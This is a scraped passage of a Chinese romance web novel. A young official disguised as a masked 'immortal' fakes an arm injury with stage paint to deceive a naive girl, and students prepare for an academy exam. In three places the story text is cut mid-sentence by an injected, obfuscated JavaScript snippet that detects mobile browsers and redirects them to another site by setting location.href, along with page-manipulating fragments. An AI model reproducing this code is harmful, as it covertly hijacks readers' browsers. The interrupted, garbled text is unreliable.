顾明池不禁心道,小兔子爱吃小小兔。 香甜的糕点缓释了有些急躁不安的心情。吃完最后一口糕点,阮歆梨拍着自己的肚皮轻轻打了一个饱嗝。 倏然轻笑声传来,她抬头看向前方,月竹不知何时而来,正斜倚在竹竿上看着她发笑。 今日月竹依旧是一身月白绸缎锦袍,但其上以红丝纹绣,与他面上覆着的那副绘有红色狐纹的诡艳面具十分相称。 想起彦清也是终日覆着面具,目的是遮掩旧疤。 那月竹呢?他又为何整日戴着面具? 顾明池举步走近,直到站在阮歆梨面前,她还在盯着他的脸走神发呆,他不禁有些心虚。 顾明池抬手扶了扶面具,生怕被她看出端倪,伸手在她眼前打了个响指:“该回神了。” 视线一晃,阮歆梨眨眼问出了自己的心声:“你为什么总是戴着面具?” 顾明池想也没想,随口敷衍道:“长得太丑,怕吓着人。” “啊?神仙不是都会仙术么?若真是长得丑,变换容貌应当是很容易的一件事才是!” 顾明池语塞,他也就是胡乱一说,倒是忘了自己如今“神仙”的身份。 不知道该怎么圆谎,顾明池试着拖延时间。 他慢慢度了几步,故作神秘反问道:“那你说说,我为何覆面?” 他让她说? 阮歆梨看着月竹,歪了歪脑袋开始思考—— 神仙是肯定不会像彦清那样受伤留下大面积伤疤的,遮面就是为了不让人看见容貌,至于月竹为什么不想让人看见他的容貌...... 她仔细看了看面具下的半张脸,肤如白玉,鼻挺如山,面具中央那细长眼洞中透出的眸子,流光暗转恰似琉璃。 他应当是个很好看的神仙。 好看又不想让人看,还戴着面具,那原因就只可能是—— “因为你太懒,不想用法术,所以戴面具最方便!” 顾明池:“......聪明!” 得到赞赏的阮歆梨,一双杏圆眼不禁得意上挑。 顾明池悄悄松了一口气,真是一个让人料想不到但又难以反驳的好理由。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337014|164541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看来以后再遇到自己忽悠不过去的时候,就不要尝试着硬圆谎,让这个小麻烦精自己去想理由就挺好。 生怕阮歆梨再想起一些奇奇怪怪的问题让他应付不来,顾明池赶紧切入正题:“你今日挂上银铃,可是琉璃盏里又有了新的签纸?” 经他这么一提醒,阮歆梨这才想起正事。 她从随身的小包里拿出签纸递了过去:“今天早上醒来,它便已经出现在琉璃盏里了。” 顾明池接过签纸,瞥了几眼阮歆梨的神情,心中有些奇怪。 依着前两次的签纸来看,提醒皆是凶兆,也都与她身边人有关。 这次拿到签纸,她看起来倒是没多少担忧,心情似乎也还不错。 顾明池疑惑地打开签纸,看完纸上内容,眉头渐渐挑起—— “六月初七,平,心细则意顺。” 见月竹一直不语,原本心情不错的阮歆梨不禁有些心慌:“怎么了,这个签不好么?” 顾明池收了签纸摇头道:“还行,心细则意顺,也就是说凡事用心经营,就能取得你想要的结果。” 阮歆梨面上一喜:“果然是好签,早上看到签纸时吓死阿梨了,还以为又有什么凶兆!” 开心起来的阮歆梨撑坐在巨石上荡悠腿脚,双髻上缀着的白色绒球也跟着一晃一跳。 顾明池瞥了眼有些乐观过头的她,两指夹着签纸晃了晃:“也不是不会变成凶兆。” 跳动的绒球倏然一停,阮歆梨瞪大了眼不可置信道:“你们神仙也会临时变卦么!明明给了好签,怎么还能变成凶!” “你知道这个签什么意思么?” 阮歆梨不解:“你刚刚不是说了么?凡事用心,就能得到好结果。” “不错,是这个意思。”顾明池盯着那两个晃动的绒球,忍不住伸手捏了一下道:“你有没有想过,为什么要给你这个提醒?” 是哦,之前虽然是凶兆,但是都有提到具体的事情,比如不宜出门或者不宜会友。 可这次的签纸并没有明说是什么事情。 见她想不明白,顾明池松开绒球,屈指敲了一下她的脑门:“想想时间。” 时间......六月初七...... 阮歆梨掰着手指数日子,那天好像也没什么特殊的事情,阿爹阿娘也没说想要去做什么。 把家里人最近提过的事情都想了一遍,阮歆梨摇了摇头:“好像没什么特殊......啊!” 阮歆梨猛然拍手,眼睛一亮道:“阿梨要大考!六月初七正好是第八门考试!” 然而欣喜不过一瞬,想起月竹说得吉兆变凶兆,她不禁垮了脸道:“所以阿梨的大考要完蛋了么?” 顾明池忍不住提醒道:“不是说了‘心细则意顺’么?这是在提醒你,做事要心平气和,多多思考,莫要冲动行事。” 闻言,阮歆梨有些怔愣:“这话有些耳熟。” 看到阮歆梨的反应,顾明池也不禁一愣,竟然只是耳熟? 果然,小麻烦精是左耳进右耳出。 顾明池暗暗一叹,突然就能理解这张签纸为什么会出现了。 34. 第 34 章 担心爹,操心娘,还要提防着哥哥别遇到麻烦。没想到忧心了一圈,下一个危机竟然是在自己头上。 叹息之余,阮歆梨又有些庆幸。至少自己的这个危机不会出人命,最多考砸了挨点皮肉苦。 心中这么想,但一想到林枝意一巴掌的威力,阮歆梨就忍不住哭丧起脸来。 顾明池在一旁看得稀奇,他也是头一次知道原来一个人可以在短短的时间内变换出这么多的表情。 小小的粉唇拉垂着两角,硬是拱成了一座小山丘。 也不知道这个小麻烦精在想什么,小巧的唇珠偶尔还会一抽一抖,倒真的像是白兔成精。 顾明池抱着手臂,在一旁看得津津有味。 有意思。 多变的神情渐渐稳定下来,看着失了精神的“白兔精”,顾明池终于想起自己还担着人家学院先生的名。 本着那一点点的责任心,他温和安慰道:“你也不必太过担忧,用心则有益,谨慎小心一点,结果总是不会太差。” “说得容易,可阿梨的心,它有自己的想法,阿梨控制不好它!” 别的她不清楚,但自己有几斤几两,她心里还是有些数的。 她也不想鲁莽冲动,但是激动起来就会欠缺思考。 “说得有道理,心最难控。” 听到月竹这么说,她不禁期待道:“你有办法帮帮阿梨么?” “嗯?”顾明池背着手往外走道:“没啊,心在你的身上,就算是神仙也不能替你做主掌控。” 眸光一暗,阮歆梨失望道:“还以为你有什么好方法......” 顾明池慢慢悠悠往前走:“没事,学不会静下心,大不了就是考不好,丢丢脸,听听训,严重点挨一顿打,不是什么大事。” 听听,这是神仙该说的话么? 阮歆梨圆睁着眼,开始怀疑自己的耳朵是不是出了问题。 “我先走了,签纸上的内容,你自己再好好想想!” 月竹的声音遥遥传来,阮歆梨这才发现他竟早已走远。 “等等!阿梨还有事想请你帮忙!” 阮歆梨匆匆跳下石块,听到喊声的月竹停下了脚步。 “你还有何事?” 她看着他开始支吾,好一会后才红了脸不好意思道:“阿梨想找你讨要一份仙药。” 顾明池:??? 从小麻烦精开始支吾时,他便有预感没什么好事。他又不是真神仙,上哪去弄仙药给她? 心里正盘算着找什么理由拒绝阮歆梨,她却突然鞠了一躬认真道:“阿梨知道仙药不能随便赠人,但是阿梨确实有急用。前两日有一个人为了护阿梨,好像撞伤了手臂,所以,阿梨恳求月竹帮帮忙,送一服仙药好帮他快速疗伤!” 皎洁的月光穿过竹缝点亮了乌黑的瞳眸,阮歆梨一脸希冀地望着低眸垂看的月竹。 “好。” 只简短一字,便让那双乌眸星光碎满。 顾明池突然觉得她可能真的是兔子成精,不然怎么会这么天真单纯,只不过是一件小小的事情,就能让她这般开心满足。 “你先回去吧,明日你回学院前,药自会送到你的手上。” 阮歆梨还想再细问,但是月竹已经走远,再一晃神,他的身影便彻底消失不见。 她追了几步,又转瞬放弃,停在了原地。 他还真是神出鬼没,和书中所写的神仙一样,不过好像也有些不同。 比如,这次见到月竹,他的话明显变多了,说话的方式也不再古板,人也风趣了许多。 总之,他好像变得有了些凡尘之气。 “也不知道他要怎么把药给我,会不会找不到阿梨的家......” 担心不过一瞬,很快她又放下心来:“肯定能找到,毕竟他是神仙啊!” 想通之后的阮歆梨蹦跳着走出竹林。半晌后,丘坡下藤叶抖动,顾明池与崔参一同从隐蔽其下的洞穴中走了出来。 默默看着“小白兔精”一蹦一跳地回了窝,顾明池这个假神仙这才摘下面具吩咐道:“崔参,去府里寻一瓶疗伤药来。” 崔参瞥了眼顾明池:“大人,府中只有凡人用的金疮药,没有仙药哦。要是明天阮小姐要亲自看着您上药,再亲眼看到‘仙药’生效才放心,您怎么办?” 顾明池偏头对视,随后拉起自己的衣袖迎光细看,淤血已经散去,只是还有大片的淤青留存,短时间内是肯定不会完全消失了。 崔参看了眼他的手臂:“伤筋动骨一百天,这伤虽没前两日那般看着骇人,但想转瞬即好,凡间的药肯定是做不到的,您这么骗阮小姐......” “你刚刚说什么?”顾明池倏然打断了崔参的唠叨。 “刚刚?说您骗阮小姐......” “不是,再往前。”顾明池自己点出道:“你说这伤看着没前几日那般骇人了?” “呃......是,怎么了?”不明白顾明池究竟是何意,崔参有些发懵。 沉思片刻后,顾明池重新吩咐道:“先去府里拿瓶金疮药给我,记得换个好看珍贵点的药瓶。然后再去趟戏班子,找班主讨点他们平日用在面上的彩墨。” “啊?您要戏班子的彩墨做什么?” 顾明池点了下自己受伤的位置:“做仙药。” 崔参:“......” 行吧,肯定是又想到什么新的骗小孩招数了。 * 琉璃盏的签纸总是不定时的出现,所以她没法蹲守。 但是月竹答应了她,仙药会在她去学院前送到,那便至多到明日清晨。 一直好奇神仙们究竟是如何把东西放进她的屋内,终于有机会去解密的阮歆梨亢奋不已。 她坐在桌前静静候着,但直到二更天,她也没看到仙药出现。 难道是和签纸一样,也需要仙器帮助传递? 她与月竹之间唯一的联系便是那枚银铃,她将银铃放到面前,想了想,又把放在窗台上的琉璃盏也一同摆在了桌面上。 又半个时辰过去,屋内外还是没有任何异常。 她用两指撑起不住下塌的眼皮,心中不禁嘀咕,难道神仙施法都只能偷偷摸摸才可以么? 眼珠轻转,她起身打了个呵欠道:“哎呀,已经这么晚了,阿梨好困呀,该睡觉了!” 一口气吹灭桌上的蜡烛,只留内室榻前一盏小灯。 阮歆梨脱了外袍侧身闭眸道:“阿梨不等了,等明天早上起床,月竹肯定就已经放好仙药了吧!” 话音一落,床上的人便没了动静。又过了一会,轻微的鼾声响起,寂静的窗外这才有了窸窣响动。 闭合的木窗被慢慢推开,顾明池透过缝隙先往内室观察片刻,确定床上的人已经睡下,他才轻手轻脚地推开窗,撑着窗台轻跃进屋。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346716|164541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在屋内环视一圈,最终视线还是落在了桌上的琉璃盏与银铃之上。 缓步走近圆桌,他从袖袋中取出特意新换的羊脂玉药瓶搁在了银铃旁。 玉质温润细腻,纯白素净的瓶身更显药物的神秘珍贵。 不错,看着就不像凡间之物。 顾明池满意勾唇,身后突然传来小声问话:“这个药真的很厉害么?” 软糯轻语惊得顾明池脊背一僵,他猛然回身,只见阮歆梨穿着素白里衣赤脚站在他的面前。 看到她毫无睡意的明亮眼眸,顾明池当即明白,她定是好奇他究竟会如何送药,所以故意装睡,在屋里守株待兔。 大意了,忘记这个兔子精还是个狡猾的小麻烦精了。 顾明池抬手按了下面具,还好今夜是他亲自来送药,进门前也特地把面具戴上了,不然真得栽在她的手上。 一直没有等到月竹的答话,阮歆梨趴在桌缘摸了摸药瓶:“好漂亮的药瓶,看起来冰冰的,但是摸起来又很润。仙界的东西都是这么与众不同么?” 作为镇远大将军,林枝意的手上自然是少不了奇珍异宝。然而她本身并不懂欣赏这些精致易碎的小玩意,而阮知闲也一向朴素,于是将军府里的好东西便全部扔在了库房中吃灰,阮歆梨也没去翻看过。 见阮歆梨对这个药瓶新奇,顾明池不禁松了一口气,看来这一关是蒙混过去了。 然而阮歆梨下一句话,又将他这口气提了上来—— “你为什么是翻窗进来的?好像做贼一样。” “是么?那你说,我为什么要翻窗进来?” 不知该怎么回答的顾明池打算故技重施,然而这次阮歆梨却没遂他的意:“就是阿梨不知道,所以阿梨才问你。” 顾明池:“......” 顶着阮歆梨认真的目光,顾明池稳着心神慢慢踱步。指尖捏得青白,片刻后他想到对策道:“因为懒。” 懒? 阮歆梨怔愣了一下,突然明白了他的意思。 先前她问他为何戴面具,他便说过是懒得施法术。如今选择翻窗而来,自然也是因为懒得施法穿墙! 阮歆梨恍然道:“因为施法太累,所以才翻窗!” 顾明池:“......你果真聪慧。” 被夸得有些不好意思,阮歆梨不禁嘿嘿一笑,片刻后她又有些疑惑,翻窗会比穿墙轻松么? 见小麻烦精神色带疑,避免她日后再想出一堆奇怪的仙术考查,顾明池赶紧诌骗道:“当然,懒只是一小部分原因。主要仙凡两别,即使是神仙,在凡间也不可滥用仙术。对于下凡的神仙,天界是有禁制的。” 好像确实如此! 想起小书上的神仙故事,偷偷下凡的仙女,只要和凡人在一起后,也会变得像普通人一样! 这些她都明白! 阮歆梨用力点了点头道:“阿梨懂的!往后阿梨一定不会随便麻烦你的!” 顾明池悄然松了一口气。 “这个药真的可以很快治好他的伤么?”阮歆梨拿着药瓶很是期待。 顾明池点头保证道:“虽然做不到立即痊愈,但自是比凡间药物效果甚好。” 阮歆梨指着自己的眼眸道:“是阿梨双眼可以看见的那种好?” 顾明池含笑点头:“是肉眼可见的那种好。” 阮歆梨将药瓶宝贝地揽在怀中,好期待明天的到来啊! 35. 第 35 章 “哎?顾大人?今日这般早啊!” 胡博士正在园子里练五禽戏,刚刚做完鸟戏第七式,一转头便看到顾明池悠闲地往文澜苑走去。 听到有人招呼,顾明池停下脚步,看向翘足伸臂的胡博士笑道:“您这身姿真是越发轻盈飘逸了。” 得了夸奖的胡博士笑得合不拢嘴,收了招式捋着胡须道:“哪里哪里,顾大人过奖了!难得今日有空,要不要一起练练?” 顾明池正准备婉拒,突然想起什么,珠眸一转,摆出一副无奈模样道:“这真是赶得不巧,前几日摔伤了右手,暂时活动不得。” “摔伤了?”胡博士是个热心肠,当即凑上前来关心道:“伤得可是厉害?老夫也略通一些医术,若是伤得不重,倒是可以帮忙瞧上一瞧。” “只是小磕碰而已,伤得不重......” “哎呦!怎么伤得这般严重!” 顾明池挽起袖子刚刚露出伤痕,胡博士已经瞪着眼惊呼起来。 他握住顾明池的手腕,点指轻按伤处,听到顾明池一声吸气,吓得收回手道:“这老夫可看不了!你得赶紧去医馆找大夫好好瞧瞧!” “是么?当真有这般严重?您要不再仔细瞧瞧......”正说着,顾明池又将淤红骇人的手臂往前递了递。 胡博士偏过头,半睁着眼替顾明池拉好衣袖,轻轻握着他的手臂放回身侧道:“不用看了,不用看了!你可别再乱动了!” 缓过这一阵眩晕劲,胡博士慢慢松了一口气:“你还是抓紧时间去找大夫看看吧,若是伤了骨头,不早些治疗再落了病根,以后少不得受罪!” 他本就是一介文人,如今又年纪大了,胆小心软,真是一点也看不得这种伤,太骇人了! 见胡博士不敢多看,顾明池垂眸一笑,收了手臂满意道:“劳您关心,等晚点我便去医馆看看。” “趁早去!身体的事可马虎不得!” 顾明池点头笑应:“行,我还有事先回房了,不打扰您锻炼身子。” “哎好,你小心点啊!” 看着顾明池走远,胡博士不禁感叹,年轻就是好啊!这么严重的伤竟然跟没事人一样! 能年少成才之人,果然意志不凡! “胡博士早!” “哎早!” 听到清甜的问候,胡博士还没来得及回头,一道桃粉身影已经携着风快速地从他身侧蹿了过去! “哎!停下!” 胡博士的一声急吼,已经跨出大步的阮歆梨只得急急停刹下来。 她扑扇着长睫看向突然喊停她的胡博士:“您喊阿梨是有什么事情么?” 胡博士眯着眼眸终于看清了来人,背着手面色一板:“冒冒失失,成何体统!” 想起方绾一说过,胡博士最是古板,特别在意学生的言行举止,她低着头悄悄吐舌,随即道歉道:“阿梨知错了,还请胡博士见谅。” “嗯,态度不错。”胡博士又捻胡教育了几句,看向她原本准备奔去的方向奇怪道:“大清早你不去学堂准备大考,而往文澜苑那边去,这是做甚?” “阿梨是要去找顾先生!”阮歆梨拍了拍自己随身的小包道:“前几日顾先生为了保护阿梨,好像受了伤,所以阿梨要去给他送些疗伤的药!” 原来是为了护这个小冒失精才受得伤。过能想起来送药,可见也是个知感恩的。 因为精瘦,胡博士的面相看起来格外严厉。这会带了笑色,那两撇胡子也微微翘起,整个人看起来和善了许多。 他抬手轻抚阮歆梨的发顶,神色欣慰道:“不错,知恩图报,顾先生的手臂确实伤得不轻,你得去好好与他道声谢。” 哎?胡博士也知道?连他都这般说,看来是真的伤得很严重了! 阮歆梨抱紧小包匆匆鞠躬:“阿梨明白了,阿梨这就去看顾先生,向他道谢!” “嗯,去吧!” 话音刚落,阮歆梨便蹿成了一道粉色虚影,胡博士无奈叮嘱道:“慢点跑!小心摔着!” 也不知道到底听没听着,眨眼间人已没了身影。 “罢了罢了!” 胡博士笑了两声准备继续练五禽戏,刚刚立掌伸臂,瞥到自己的手指又嘶声停了下来。 他收回手,看着自己青红的指尖神色疑惑,两指摩挲搓动,青红之色慢慢晕染开来。 彩墨? 胡博士满目不解:“奇怪,这是何时蹭来的......” * 文澜苑内,顾明池刚刚掀开衣袖准备再欣赏一下自己的杰作,院外突然传来一阵奔跑的脚步声。 心有所感,他匆忙将衣袖放下,果然不过几息,门口就传来了声响:“顾先生在吗?阿梨有事找您!” 房门自内拉开半扇,阮歆梨看向单手开门的顾明池,又偏眸看向他自然垂落在身侧的右手—— 和他之前离开回春堂时的动作一样。 这么明显的伤感,她当时竟然也没发现,愧意一瞬间涌满心头。 “这么早来文澜苑寻我,有什么事么?” 顾明池装作无事人的模样回到桌边坐下,阮歆梨看着他摆动不太自然的手臂问道:“先生那日为了护着阿梨,所以伤到了手臂,对不对?” 神情故作一顿,顾明池端起茶盏笑道:“一点小磕碰......” 没等他话说完,阮歆梨已经先一步撩起了他宽大的袖袍—— 骨肉均匀的手臂肤色白净,青色的筋脉自手腕一路向上蔓延,直到靠近胳膊肘处,突然被大片青紫淤肿阻断,看起来伤得十分严重。 乌黑的珠眸盯着伤处闪烁跳动,顾明池观察着阮歆梨的神色,呼吸也不自觉轻了几分。 正当他以为是哪里没有处理好而被她看出了端倪,那双乌眸却突然蒙起了水雾,小巧的鼻尖一抽,阮歆梨突然就哼哭出声,泪水啪嗒啪嗒砸落了下来! 顾明池神情凝滞,阮歆梨的哭声越来越大。 过了好半晌,他终于反应过来,惯性地准备抬右手为她擦拭眼泪,又突然想起右手暂时不能用,赶紧改换成左手,姿势别扭地抹向她的泪水。 顾明池手忙脚乱地替阮歆梨擦着脸,阮歆梨看到他僵着的右手,抽着鼻翼哭得更狠。 就这么僵持了一会,顾明池终于放弃一点一点地擦拭,从袖中取了一方丝帕直接按上了阮歆梨的小半张脸,在她的注视下无奈笑道:“小祖宗,伤得是我的手,人也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15356184|164541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死,你倒也不必哭得这么伤心吧?” 阮歆梨瞥了眼他半露在外的右手,哭声微哽:“它看起来好疼。” “那它也是疼在我身上,你又为什么掉这么多小珍珠?” 顾明池慢慢挪动帕子,轻覆上那双乌溜溜的眼眸。等水雾沾尽洇湿了帕子,他这才挪开手笑道:“行了,不哭了,若是让其他人听见,还以为我怎么欺负你了。” 阮歆梨垂头不语,好一会才低着声歉意道:“阿爹那天说得对,阿梨总是做事冲动,只会添麻烦。如果阿梨那天小心一点,你的手臂也不会伤成这样,对不起。” 小麻烦精虽然爱惹麻烦,但总是格外懂事。 看到她低落自责的模样,顾明池心中有些不是滋味。 他抚了抚她的发顶,阮歆梨从包中取出白玉药瓶道:“这个药效果很好!你试试!” “好。” 顾明池接过药瓶便直接往伤处上撒药,阮歆梨倏然一动,拽住他拿药瓶的手臂迟疑道:“那个......你不先看看药......或者先去找大夫看看这个药适不适用?” 昨日月竹给她,她便直接将药送来了。 如今想想,阿爹曾说过是药三分毒,未经诊断,便不可随意用药。她都没有验证过这个药有没有问题,能不能治顾明池手臂上的伤便送给了他,这又何尝不是鲁莽冲动? 阮歆梨拉着顾明池的袖摆犹豫瑟缩。看出她的迷茫不安,顾明池安抚地摸了摸她的脑袋:“看来阿梨这次大考要夺魁首了。如今竟然也这般谨慎心细,反倒是我这个做先生的不如学生了。” 顾明池将药瓶合盖,慢慢整理好自己的衣袖道:“那便听阿梨的,等找大夫确定了药是否对症,然后再使用。” 阮歆梨用力点了点头:“好,那如果有效果,你一定要告诉阿梨!” “好。” 辰时的钟声响起,阮歆梨慌忙道别:“大考快开始了,阿梨得回学堂了!” 顾明池晃了晃药瓶,点头鼓励道:“嗯,去吧。静心多思,阿梨可以做好。” 看向顾明池手中的药瓶,阮歆梨觉得她大概有些明白阿爹和签纸的提醒了。 沉思再三,她慎重点头道:“嗯,阿梨一定能做好。” 不鲁莽,不冲动,谨慎小心,她一定能将危机都处理好! 带着信心稳步出门,顾明池看着阮歆梨远去的背影,拿起自己事先动过手脚,准备用来包裹伤处的纱布,把自己用彩墨绘出的淤伤慢慢擦了去。 看着只剩下轻微红肿的手臂,静默的顾明池倏然一笑—— 小麻烦精开始成长了,往后再想骗她,怕是没那么容易喽! * 信心满满的阮歆梨坐在桌案前打了一个响亮的喷嚏。 试题自前向后传递,阮歆梨接过卷纸,心中鼓劲道:“阿梨棒棒的!大考一定行!” 开心的她眯弯着眼看向考卷,片刻后笑容凝固,然后慢慢木起了脸—— 什么东西?字都认识,但是她的脑海里怎么空空的! 放下卷纸,她歪趴在桌上了无生气。 什么静心,什么多思,都是骗人的啊!!! 这次大考,阿梨完蛋了!! 36. 第 36 章 六月初三,经学胡写一通,成绩下等。 六月初四,书学、算学马马虎虎,成绩中等。 六月初五,律学崛起,成绩上等。礼学打回原形,成绩下等 六月初六,射勉强挨着了靶,御没爬上马鞍。一中一下。 阮歆梨掰着手指算成绩,七门考察,三门下等,三门中等,一门上等,均算下来她只比秦朗略胜一筹。 目前位列全院第二。 倒数的。 一个脑袋百斤沉,阮歆梨一头栽在书桌上不出声。 一旁的方绾一见状柔声安慰道:“没事的,比起先前你已经有很大进步了!而且明天还有第八门考,你还有机会,不要泄气!” “第八门考......” 阮歆梨有气无力地半掀起眼眸,想起第三张签纸蓦然起身。 对哦,还有第八门! 既然签纸特意点了六月初七这一天,她只要按着签纸的提示好好做,第八门考应该就能有个好成绩了吧? “你们可真乐观,这第八门到底是雪中送炭,还是雪上加霜,谁能说得定哦!” 已经居在最后一位的秦朗好像已经坦然接受了结果。听他这么一说,阮歆梨刚刚燃起的希望又灭了半截。 “阿梨,好机会!”方绾一赶紧摇了摇阮歆梨的肩膀道:“你看,秦朗已经放弃了,你只要坚持住,最后一名就一定不是你!” 阮歆梨刚刚耷拉下来的眼皮又猛然掀了回去,两人亮着瞳眸信心满满。 一旁的秦朗不禁瞪大了眼:“哎?方绾一,你这就过分了啊!我什么时候说放弃了?还有,有你这么安慰人的么!” “秦朗,这可都是你自己说得,怨不得人家方小姐。” 一进门便听到方绾一别样的鼓励,太子不禁笑出了声,顺便替她辩了两句。 一同进门的沈良朝瞥到秦朗桌上写到一半的自省书,随即一声哼笑:“不鼓劲努力,难道要像你一样,还没考就开始写自省书么?怂包!” “自省书?” 阮歆梨探头往秦朗的桌上望去,秦朗赶紧双臂环抱,将桌上未写完的自省书遮了个严严实实。 一张圆脸涨了个满红,太子笑呵呵地打了个圆场:“好了,大考还未结束,最终结果谁也说不定,总之我们都该好好准备这最后一门才是。” “所以最后一门究竟考什么,良朝,你有没有消息分享一下啊?” 提及最后一门大考的内容,坐在学堂内学生立即都围了过来。 沈良朝皱眉摇头:“我问过爷爷,但是他没讲具体内容,只说了一句,有心则易。” 有心则易? 这和签纸上所写的“心细则意顺”,岂不是差不多? “这不是说了跟没说一样么!” 学堂里一片唉声叹气,太子犹豫开口道:“我倒是有个大胆猜测,这第八门考应当不是常规的纸上答卷,而是需要实操应对,类似于骑射。” “殿下何以有此想法?” 太子斟酌道:“前些时日,太傅进宫面见父皇,提及了学院大考一事。我正好在殿外等候,听到太傅向父皇借禁卫军,商量封用文阳山一事。” “文阳山?”秦朗指了指学院北方道:“那不就是与盛京院后山相对的那座荒山?” 太子点了点头:“具体要做什么,太傅没有言说,但父皇派了两队精兵于太傅,想来第八门考所要使用的场地不小。” “两队精兵,那便有数百人了。这样的防守基本涵盖了文阳山。”沈良朝推测道:“莫非是要考围猎?” 太子思索摇头:“骑射已在七门考察之中,这第八门应该不会这么简单。” 大家凑在一起说着想法,商量了许久也是无果。 秦朗抽出自己那份自省书,转着笔杆撑脸道:“算了,还是听天由命吧。” “多猜也无用,明日便知道这第八门考究竟是什么了。”沈良朝睨了秦朗一眼,又看向阮歆梨有些磕绊道:“明日......好好准备,你一定可以的。” 偏视的眼眸,紧绷的唇。 看着面无表情转身离开的沈良朝,阮歆梨指了指自己,向方绾一询问道:“他是在跟阿梨说话?” 方绾一转眸瞥了眼沈良朝僵硬的背影:“是。” 阮歆梨眨眨眼:“所以他刚刚是真的在鼓励阿梨,不是在反讽?” 方绾一顿了顿:“......是。” 阮歆梨倏然松了一口气:“吓死我了,他冷着一张脸那么说,阿梨还以为哪里得罪他了。” 看到沈良朝已经开始充血的双耳,方绾一收回目光干笑道:“怎么会,沈公子可能只是不太擅长交流......吧?” 阮歆梨默默点头,有可能,沈良朝好像确实不太爱说话。 这点小插曲,阮歆梨也没放在心上。很快便转移了注意力,又继续撑着下巴开小差,在心里反复给自己提醒暗示“心细则意顺”。 见阮歆梨丝毫没有在意沈良朝的情况,方绾一轻轻叹了一口气。 一个别扭得说不出话,一个没心没肺毫无察觉,这份缘怕是难有结果了。 * 翌日辰时。 所有学生刚刚用完早膳,沈太傅身边的沈鹤便来传话:“今日第八门大考,请诸位至文心殿前集合。” 行至文心殿,车马齐备,学院护卫已是列队待发之状,看到这等阵容,大家便明白这第八门考大抵是与太子所言无异。 环扫一圈,确定学生已齐,杨司业向沈太傅请示道:“人员已齐,您看是否现在出发?” 沈太傅看了一眼下方交头接耳的学生,指了指他们笑道:“出发吧,他们也应该等急了。” 杨司业清嗓上前:“今日为大考第八门,考场设在文阳山。现在所有考生按前七门考试成绩抽签组队,然后按编号登车前往考场。” “还要抽签组队?那成绩如何计算?按小队么?” 有人刚刚提出疑问,紧跟着便有人提出异议:“按小队?那要是倒霉遇到一个拖后腿的队友......这不公平!” 学生们议论纷纷,杨司业斜眸瞥了眼沈太傅的神情,眼眸半垂,唇角松平,似乎并没有留意这些学生在讨论什么。 既然太傅无意解释,那他也不必画蛇添足。杨司业也学着沈太傅的模样,闲垂着手,默默看着这些学生争论。 “第一名,裴旭。上前抽签。” 沈鹤取出名单朗声唱喝,太子应声上前。 “殿下您请。” 沈鹤俯身指引,太子看了一眼桌上塞满竹签的签筒,伸手随意一取—— “等等。” 沈太傅突然出声阻止,他看向杨司业道:“虽然此先大考,殿下名列前茅。但这第八门考须得去往郊外,安全起见,殿下做这最后一抽,更为稳妥。不知司业意下如何?” 太子做第一抽,分队与行程皆会最先暴露。若有人图谋不轨,也可提前规划,确实有些不安全。 杨司业略一思索应和道:“太傅所言甚是,下官自是认同。只是不知殿下自己可有意见?” 太子自是明白两位师长的顾虑,他也不在意抽签的顺序,行礼应声道:“学生全听二位师长安排。” 太傅点点头道:“那便委屈殿下多候一时了。” 太子退回原位,沈良朝上前抽签。 沈鹤看了一眼竹签,唱喝记录道:“沈良朝,第三队。” 沈良朝领了木牌便有院中的仆从上前,引着他前往第三辆马车。 阮歆梨点着手指数了数马车数量,一共八辆标有编号,也就是说他们一共要分为八队。 十五人上前抽签后,第三队人最先凑齐。 沈鹤向太傅请示,得到应允后,他向第三辆马车的车夫挥手:“第三队人员已齐,可先行出发。” 沈良朝与彦清抽在了一起,加上端荣县主之子,以及一名听学仆役,一队五人。 阮歆梨伸手数了数挂有编号的马车,一共有八辆,也就是说他们共有八支队伍。一队五人,但学院共有三十八名学生,这就意味着有一队会人员不足五人。 渐渐的有四支队伍提前抽满离开,越往后抽,可选择的队友便越有限。 看到秦朗和阮歆梨还在原地,已有人开始小声祈祷:“菩萨保佑,哪怕在三人队都可以,千万别让我抽到和最后那两人同队!” 剩下的人不多,那人的祈祷清楚地传进了所有人的耳朵里。 秦朗恼火回头,待看清祈祷的人后,顿时火气更旺:“刘澈?你什么意思!你自己都是倒数第三,怎么好意思嫌弃我们的!” 刘澈被吼得一缩,立刻赔笑抖神道:“你你你别激动!我......我没别的意思!就是因为我也倒数,所以才不想咱们凑在了一队,不然这第八门铁定完蛋!” 秦朗一怔,似乎是这么个道理。如果这一门最终真的是按小队定成绩,他们三人如果凑在一起,结果可想而知。 原本还想着和阮歆梨他们抱团的秦朗立即往后退了几步,躲避的意图非常明显。 